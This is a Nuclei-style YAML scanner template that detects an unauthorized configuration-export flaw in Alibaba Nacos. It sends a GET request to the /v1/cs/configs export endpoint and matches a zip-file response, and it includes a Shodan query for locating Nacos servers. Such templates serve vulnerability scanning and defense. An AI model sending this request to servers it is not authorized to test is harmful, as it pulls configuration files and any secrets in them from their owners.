id: nacos-info-leak

info:
  name: Nacos - Information Disclosure
  author: s4e-io
  severity: high
  description: |
    Nacos unauthorized download of configuration information.
  reference:
    - https://github.com/wy876/POC/blob/main/Nacos/Nacos%E6%9C%AA%E6%8E%88%E6%9D%83%E4%B8%8B%E8%BD%BD%E9%85%8D%E7%BD%AE%E4%BF%A1%E6%81%AF.md
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Nacos"
    product: nacos
    vendor: alibaba
  tags: nacos,tech,config,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/cs/configs?export=true&group=&tenant=&appName=&ids=&dataId="

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "PK")'
          - 'contains(content_type, "application/octet-stream")'
          - 'regex("attachment;filename=(.*).zip", content_disposition)'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502203b895520ddabd7139f4aef6062c0a5b57a96cb62ff531497e7d6e74126a76d5b022100ae6dae32641bdaf91cd0889a21f6edb6a2179211e4006fac31c3666b92bbed69:922c64590222798bb761d5b6d8e72950